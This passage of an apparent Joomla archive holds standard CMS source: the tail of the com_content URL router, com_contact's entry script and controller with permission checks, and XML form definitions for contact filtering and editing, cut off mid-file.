		$category->setKey('id')->setParent($categories, 'catid')->setNestable()->addLayout('blog');
		$this->registerView($category);
		$article = new JComponentRouterViewconfiguration('article');
		$article->setKey('id')->setParent($category, 'catid');
		$this->registerView($article);
		$this->registerView(new JComponentRouterViewconfiguration('archive'));
		$this->registerView(new JComponentRouterViewconfiguration('featured'));
		$form = new JComponentRouterViewconfiguration('form');
		$form->setKey('a_id');
		$this->registerView($form);

		parent::__construct($app, $menu);

		$this->attachRule(new JComponentRouterRulesMenu($this));

		if ($params->get('sef_advanced', 0))
		{
			$this->attachRule(new JComponentRouterRulesStandard($this));
			$this->attachRule(new JComponentRouterRulesNomenu($this));
		}
		else
		{
			JLoader::register('ContentRouterRulesLegacy', __DIR__ . '/helpers/legacyrouter.php');
			$this->attachRule(new ContentRouterRulesLegacy($this));
		}
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $id     ID of the category to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getCategorySegment($id, $query)
	{
		$category = JCategories::getInstance($this->getName())->get($id);

		if ($category)
		{
			$path = array_reverse($category->getPath(), true);
			$path[0] = '1:root';

			if ($this->noIDs)
			{
				foreach ($path as &$segment)
				{
					list($id, $segment) = explode(':', $segment, 2);
				}
			}

			return $path;
		}

		return array();
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $id     ID of the category to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getCategoriesSegment($id, $query)
	{
		return $this->getCategorySegment($id, $query);
	}

	/**
	 * Method to get the segment(s) for an article
	 *
	 * @param   string  $id     ID of the article to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getArticleSegment($id, $query)
	{
		if (!strpos($id, ':'))
		{
			$db = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			$dbquery->select($dbquery->qn('alias'))
				->from($dbquery->qn('#__content'))
				->where('id = ' . $dbquery->q($id));
			$db->setQuery($dbquery);

			$id .= ':' . $db->loadResult();
		}

		if ($this->noIDs)
		{
			list($void, $segment) = explode(':', $id, 2);

			return array($void => $segment);
		}

		return array((int) $id => $id);
	}

	/**
	 * Method to get the segment(s) for a form
	 *
	 * @param   string  $id     ID of the article form to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 *
	 * @since   3.7.3
	 */
	public function getFormSegment($id, $query)
	{
		return $this->getArticleSegment($id, $query);
	}

	/**
	 * Method to get the id for a category
	 *
	 * @param   string  $segment  Segment to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getCategoryId($segment, $query)
	{
		if (isset($query['id']))
		{
			$category = JCategories::getInstance($this->getName(), array('access' => false))->get($query['id']);

			if ($category)
			{
				foreach ($category->getChildren() as $child)
				{
					if ($this->noIDs)
					{
						if ($child->alias == $segment)
						{
							return $child->id;
						}
					}
					else
					{
						if ($child->id == (int) $segment)
						{
							return $child->id;
						}
					}
				}
			}
		}

		return false;
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $segment  Segment to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getCategoriesId($segment, $query)
	{
		return $this->getCategoryId($segment, $query);
	}

	/**
	 * Method to get the segment(s) for an article
	 *
	 * @param   string  $segment  Segment of the article to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getArticleId($segment, $query)
	{
		if ($this->noIDs)
		{
			$db = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			$dbquery->select($dbquery->qn('id'))
				->from($dbquery->qn('#__content'))
				->where('alias = ' . $dbquery->q($segment))
				->where('catid = ' . $dbquery->q($query['id']));
			$db->setQuery($dbquery);

			return (int) $db->loadResult();
		}

		return (int) $segment;
	}
}

/**
 * Content router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function contentBuildRoute(&$query)
{
	$app = JFactory::getApplication();
	$router = new ContentRouter($app, $app->getMenu());

	return $router->build($query);
}

/**
 * Parse the segments of a URL.
 *
 * This function is a proxy for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @since   3.3
 * @deprecated  4.0  Use Class based routers instead
 */
function contentParseRoute($segments)
{
	$app = JFactory::getApplication();
	$router = new ContentRouter($app, $app->getMenu());

	return $router->parse($segments);
}
com_contact/contact.php000060400000001126152453734450011211 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('contact');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_contact/controllers/contact.php000060400000005243152453734450013563 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Controller for a single contact
 *
 * @since  1.6
 */
class ContactControllerContact extends JControllerForm
{
	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		$categoryId = ArrayHelper::getValue($data, 'catid', $this->input->getInt('filter_category_id'), 'int');
		$allow = null;

		if ($categoryId)
		{
			// If the category has been passed in the URL check it.
			$allow = JFactory::getUser()->authorise('core.create', $this->option . '.category.' . $categoryId);
		}

		if ($allow === null)
		{
			// In the absence of better information, revert to the component permissions.
			return parent::allowAdd($data);
		}

		return $allow;
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;

		// Since there is no asset tracking, fallback to the component permissions.
		if (!$recordId)
		{
			return parent::allowEdit($data, $key);
		}

		// Get the item.
		$item = $this->getModel()->getItem($recordId);

		// Since there is no item, return false.
		if (empty($item))
		{
			return false;
		}

		$user = JFactory::getUser();

		// Check if can edit own core.edit.own.
		$canEditOwn = $user->authorise('core.edit.own', $this->option . '.category.' . (int) $item->catid) && $item->created_by == $user->id;

		// Check the category core.edit permissions.
		return $canEditOwn || $user->authorise('core.edit', $this->option . '.category.' . (int) $item->catid);
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		/** @var ContactModelContact $model */
		$model = $this->getModel('Contact', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_contact&view=contacts' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}
}
com_contact/models/forms/filter_contacts.xml000060400000007205152453734460015370 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<fields name="filter">

		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CONTACT_FILTER_SEARCH_LABEL"
			description="COM_CONTACT_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="JOPTION_SELECT_PUBLISHED"
			description="JOPTION_SELECT_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			extension="com_contact"
			published="0,1,2"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JOPTION_FILTER_TAG"
			description="JOPTION_FILTER_TAG_DESC"
			mode="nested"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_TAG</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>

	<fields name="list">

		<field
			name="fullordering"
			type="list"
			label="COM_CONTACT_LIST_FULL_ORDERING"
			description="COM_CONTACT_LIST_FULL_ORDERING_DESC"
			default="a.name ASC"
			onchange="this.form.submit();"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.featured ASC">JFEATURED_ASC</option>
			<option value="a.featured DESC">JFEATURED_DESC</option>
			<option value="a.name ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.name DESC">JGLOBAL_TITLE_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="ul.name ASC">COM_CONTACT_FIELD_LINKED_USER_LABEL_ASC</option>
			<option value="ul.name DESC">COM_CONTACT_FIELD_LINKED_USER_LABEL_DESC</option>
			<option value="access_level ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="access_level DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option
				value="association ASC"
				requires="associations"
				>
				JASSOCIATIONS_ASC
			</option>
			<option
				value="association DESC"
				requires="associations"
				>
				JASSOCIATIONS_DESC
			</option>
			<option value="language_title ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language_title DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTACT_LIST_LIMIT"
			description="COM_CONTACT_LIST_LIMIT_DESC"
			default="25"
			class="input-mini"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_contact/models/forms/form.xml000060400000037134152453734460013154 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<!-- @deprecated  4.0  Not used since 1.6 No replacement. -->
<form>
	<fieldset>
		<field
			name="id"
			type="hidden"
			label="COM_CONTACT_ID_LABEL"
			default="0"
			readonly="true"
			required="true"
			size="10"
		/>

		<field
			name="name"
			type="text"
			label="CONTACT_NAME_LABEL"
			description="CONTACT_NAME_DESC"
			required="true"
			size="30"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
			size="30"
		/>

		<field
			name="user_id"
			type="user"
			label="CONTACT_LINKED_USER_LABEL"
			description="CONTACT_LINKED_USER_DESC"
		/>

		<field
			name="published"
			type="list"
			label="JFIELD_PUBLISHED_LABEL"
			description="JFIELD_PUBLISHED_DESC"
			default="1"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-1">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="catid"
			type="category"
			label="JCATEGORY"
			description="JFIELD_CATEGORY_DESC"
			extension="com_contact"
			required="true"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field
			name="sortname1"
			type="text"
			label="CONTACT_SORTNAME1_LABEL"
			description="CONTACT_SORTNAME1_DESC"
			size="30"
		/>

		<field
			name="sortname2"
			type="text"
			label="CONTACT_SORTNAME2_LABEL"
			description="CONTACT_SORTNAME3_DESC"
			size="30"
		/>

		<field
			name="sortname3"
			type="text"
			label="CONTACT_SORTNAME3_LABEL"
			description="CONTACT_SORTNAME3_DESC"
			size="30"
		/>

		<field
			name="language"
			type="text"
			label="CONTACT_LANGUAGE_LABEL"
			description="CONTACT_LANGUAGE_DESC"
			size="30"
		/>

		<field
			name="con_position"
			type="text"
			label="CONTACT_INFORMATION_POSITION_LABEL"
			description="CONTACT_INFORMATION_POSITION_DESC"
			size="30"
		/>

		<field
			name="email_to"
			type="email"
			label="CONTACT_INFORMATION_EMAIL_LABEL"
			description="CONTACT_INFORMATION_EMAIL_DESC"
			size="30"
			validate="email"
			filter="string"
			autocomplete="email"
		/>

		<field
			name="address"
			type="textarea"
			label="CONTACT_INFORMATION_ADDRESS_LABEL"
			description="CONTACT_INFORMATION_ADDRESS_DESC"
			cols="30"
			rows="3"
		/>

		<field
			name="suburb"
			type="text"
			label="CONTACT_INFORMATION_SUBURB_LABEL"
			description="CONTACT_INFORMATION_SUBURB_DESC"
			size="30"
		/>

		<field
			name="state"
			type="text"
			label="CONTACT_INFORMATION_STATE_LABEL"
			description="CONTACT_INFORMATION_STATE_DESC"
			size="30"
		/>

		<field
			name="postcode"
			type="text"
			label="CONTACT_INFORMATION_POSTCODE_LABEL"
			description="CONTACT_INFORMATION_POSTCODE_DESC"
			size="30"
		/>

		<field
			name="country"
			type="text"
			label="CONTACT_INFORMATION_COUNTRY_LABEL"
			description="CONTACT_INFORMATION_COUNTRY_DESC"
			size="30"
		/>

		<field
			name="telephone"
			type="text"
			label="CONTACT_INFORMATION_TELEPHONE_LABEL"
			description="CONTACT_INFORMATION_TELEPHONE_DESC"
			size="30"
		/>

		<field
			name="mobile"
			type="text"
			label="CONTACT_INFORMATION_MOBILE_LABEL"
			description="CONTACT_INFORMATION_MOBILE_DESC"
			size="30"
		/>

		<field
			name="webpage"
			type="text"
			label="CONTACT_INFORMATION_WEBPAGE_LABEL"
			description="CONTACT_INFORMATION_WEBPAGE_DESC"
			size="30"
		/>

		<field
			name="misc"
			type="editor"
			label="CONTACT_INFORMATION_MISC_LABEL"
			description="CONTACT_INFORMATION_MISC_DESC"
			buttons="true"
			hide="pagebreak,readmore"
			filter="safehtml"
			size="30"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="ordering"
			type="ordering"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			content_type="com_contact.contact"
		/>

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="JFIELD_META_KEYWORDS_DESC"
			cols="30"
			rows="3"
		/>

		<field
			name="metadesc"
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			description="JFIELD_META_DESCRIPTION_DESC"
			cols="30"
			rows="3"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="JFIELD_CONTACT_LANGUAGE_DESC"
			>
			<option value="">JALL</option>
		</field>

		<field
			name="contact_icons"
			type="list"
			label="Icons/text"
			description="PARAMCONTACTICONS"
			default="0"
			>
			<option value="0">CONTACT_ICONS_OPTIONS_NONE</option>
			<option value="1">CONTACT_ICONS_OPTIONS_TEXT</option>
			<option value="2">CONTACT_ICONS_OPTIONS_TEXT</option>
		</field>

		<field
			name="icon_address"
			type="imagelist"
			label="CONTACT_ICONS_ADDRESS_LABEL"
			description="CONTACT_ICONS_ADDRESS_DESC"
			directory="/images"
			hide_none="1"
		/>

		<field
			name="icon_email"
			type="imagelist"
			label="CONTACT_ICONS_EMAIL_LABEL"
			description="CONTACT_ICONS_EMAIL_DESC"
			directory="/images"
			hide_none="1"
		/>

		<field
			name="icon_telephone"
			type="imagelist"
			label="CONTACT_ICONS_TELEPHONE_LABEL"
			description="CONTACT_ICONS_TELEPHONE_DESC"
			directory="/images"
			hide_none="1"
		/>

		<field
			name="icon_mobile"
			type="imagelist"
			label="CONTACT_ICONS_MOBILE_LABEL"
			description="CONTACT_ICONS_MOBILE_DESC"
			directory="/images"
			hide_none="1"
		/>

		<field
			name="icon_fax"
			type="imagelist"
			label="CONTACT_ICONS_FAX_LABEL"
			description="CONTACT_ICONS_FAX_DESC"
			directory="/images"
			hide_none="1"
		/>

		<field
			name="icon_misc"
			type="imagelist"
			label="CONTACT_ICONS_MISC_LABEL"
			description="CONTACT_ICONS_MISC_DESC"
			directory="/images"
			hide_none="1"
		/>

	</fieldset>

	<fields name="metadata">
		<fieldset name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>

			<field
				name="rights"
				type="text"
				label="JFIELD_METADATA_RIGHTS_LABEL"
				description="JFIELD_METADATA_RIGHTS_DESC"
				size="20"
			/>

		</fieldset>
	</fields>

	<fields name="params">
		<fieldset name="options" label="CONTACT_PARAMETERS">

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		<field
			name="show_name"
			type="list"
			label="CONTACT_PARAMS_NAME_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_position"
			type="list"
			label="CONTACT_PARAMS_CONTACT_POSITION_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_email"
			type="list"
			label="CONTACT_PARAMS_CONTACT_POSITION_E_MAIL_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_street_address"
			type="list"
			label="CONTACT_PARAMS_STREET_ADDRESS_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_suburb"
			type="list"
			label="CONTACT_PARAMS_TOWN_SUBURB_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_state"
			type="list"
			label="CONTACT_PARAMS_STATE_COUNTY_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_postcode"
			type="list"
			label="CONTACT_PARAMS_POST_ZIP_CODE_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_country"
			type="list"
			label="CONTACT_PARAMS_COUNTRY_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_telephone"
			type="list"
			label="CONTACT_PARAMS_TELEPHONE_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_mobile"
			type="list"
			label="CONTACT_PARAMS_MOBILE_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_fax"
			type="list"
			label="CONTACT_PARAMS_FAX_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_webpage"
			type="list"
			label="CONTACT_PARAMS_WEBPAGE_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_image"
			type="list"
			label="CONTACT_PARAMS_IMAGE_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="allow_vcard"
			type="list"
			label="CONTACT_PARAMS_VCARD_LABEL"
			description="CONTACT_PARAMS_VCARD_LABEL"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_misc"
			type="list"
			label="CONTACT_PARAMS_MISC_INFO_LABEL"
			description="CONTACT_PARAMS_NAME_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_articles"
			type="list"
			label="CONTACT_SHOW_ARTICLES_LABEL"
			description="CONTACT_SHOW_ARTICLES_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="articles_display_num"
			type="list"
			label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
			description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
			default=""
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="15">J15</option>
			<option value="20">J20</option>
			<option value="25">J25</option>
			<option value="30">J30</option>
			<option value="50">J50</option>
			<option value="75">J75</option>
			<option value="100">J100</option>
			<option value="150">J150</option>
			<option value="200">J200</option>
			<option value="250">J250</option>
			<option value="300">J300</option>
			<option value="0">JALL</option>
		</field>

		<field
			name="show_profile"
			type="list"
			label="CONTACT_PROFILE_SHOW_LABEL"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_user_custom_fields"
			type="fieldgroups"
			label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
			description="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_DESC"
			multiple="true"
			context="com_users.user"
			>
			<option value="-1">JALL</option>
		</field>

		<field
			name="show_links"
			type="list"
			label="CONTACT_SHOW_LINKS_LABEL"
			description="CONTACT_SHOW_LINKS_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="linka_name"
			type="text"
			label="CONTACT_LINKA_NAME_LABEL"
			description="CONTACT_LINKA_NAME_DESC"
			size="30"
		/>

		<field
			name="linka"
			type="text"
			label="CONTACT_LINKA_LABEL"
			description="CONTACT_LINKA_DESC"
			size="30"
		/>

		<field
			name="linkb_name"
			type="text"
			label="CONTACT_LINKB_NAME_LABEL"
			description="CONTACT_LINKB_NAME_DESC"
			size="30"
		/>

		<field
			name="linkb"
			type="text"
			label="CONTACT_LINKB_LABEL"
			description="CONTACT_LINKB_DESC"
			size="30"
		/>

		<field
			name="linkc_name"
			type="text"
			label="CONTACT_LINKC_NAME_LABEL"
			description="CONTACT_LINKC_NAME_DESC"
			size="30"
		/>

		<field
			name="linkc"
			type="text"
			label="CONTACT_LINKC_LABEL"
			description="CONTACT_LINKC_DESC"
			size="30"
		/>

		<field
			name="linkd_name"
			type="text"
			label="CONTACT_LINKD_NAME_LABEL"
			description="CONTACT_LINKD_NAME_DESC"
			size="30"
		/>

		<field
			name="linkd"
			type="text"
			label="CONTACT_LINKD_LABEL"
			description="CONTACT_LINKD_DESC"
			size="30"
		/>

		<field
			name="linke_name"
			type="text"
			label="CONTACT_LINKE_NAME_LABEL"
			description="CONTACT_LINKE_NAME_DESC"
			size="30"
		/>

		<field
			name="linke"
			type="text"
			label="CONTACT_LINKE_LABEL"
			description="CONTACT_LINKE_DESC"
			size="30"
		/>

		</fieldset>
	</fields>

	<fields name="email_form">
		<fieldset name="email_form" label="CONTACT_EMAIL_FORM_LABEL">

		<field
			name="show_email_form"
			type="list"
			label="CONTACT_EMAIL_SHOW_FORM_LABEL"
			description="CONTACT_EMAIL_SHOW_FORM_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="email_description"
			type="text"
			label="CONTACT_EMAIL_DESCRIPTION_TEXT_LABEL"
			description="CONTACT_EMAIL_DESCRIPTION_TEXT_DESC"
			size="30"
		/>

		<field
			name="show_email_copy"
			type="list"
			label="CONTACT_EMAIL_EMAIL_COPY_LABEL"
			description="CONTACT_EMAIL_EMAIL_COPY_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="validate_session"
			type="list"
			label="CONTACT_CONFIG_SESSION_CHECK_LABEL"
			description="CONTACT_CONFIG_SESSION_CHECK_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="custom_reply"
			type="list"
			label="CONTACT_CONFIG_CUSTOM_REPLY"
			description="CONTACT_CONFIG_CUSTOM_REPLY_DESC"
			>
			<option value="">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="redirect"
			type="text"
			label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
			size="30"
		/>

		</fieldset>
	</fields>
</form>

com_contact/models/forms/contact.xml000060400000053200152453734460013634 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<fieldset addfieldpath="/administrator/components/com_categories/models/fields">

		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			class="readonly"
			size="10"
			readonly="true"
		/>

		<field
			name="name"
			type="text"
			label="COM_CONTACT_FIELD_NAME_LABEL"
			description="COM_CONTACT_FIELD_NAME_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		 />

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			size="45"
			hint="JFIELD_ALIAS_PLACEHOLDER"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
			labelclass="control-label"
			class="span12"
			size="45"
			maxlength="255"
		/>

		<field
			name="user_id"
			type="user"
			label="COM_CONTACT_FIELD_LINKED_USER_LABEL"
			description="COM_CONTACT_FIELD_LINKED_USER_DESC"
		/>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			default="1"
			id="published"
			class="chzn-color-state"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>

		</field>

		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			description="JFIELD_CATEGORY_DESC"
			extension="com_contact"
			required="true"
			default=""
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field
